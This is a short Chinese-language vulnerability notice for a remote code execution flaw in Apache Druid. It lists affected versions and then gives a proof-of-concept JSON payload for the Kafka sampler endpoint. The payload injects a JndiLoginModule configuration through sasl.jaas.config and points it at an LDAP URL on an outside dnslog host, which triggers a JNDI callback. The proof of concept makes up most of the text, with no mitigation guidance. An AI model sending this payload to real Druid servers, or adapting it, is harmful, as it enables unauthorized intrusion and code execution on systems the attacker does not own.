Apache Druid远程代码执行漏洞

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Apache Druid是一个高性能的实时大数据分析引擎，支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP（在线分析处理）场景，能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点，广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid，企业和开发者可以快速获得实时分析结果，提升决策效率。

影响版本
0.19.0 <= Apache Druid <= 25.0.0

不受影响版本
Apache Druid >= 26.0.0（修复版本尚未正式发布）


dnslog测试POC代码:

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{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"6.6.6.6:9092",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://1nu5tj.dnslog.cn\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"any",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}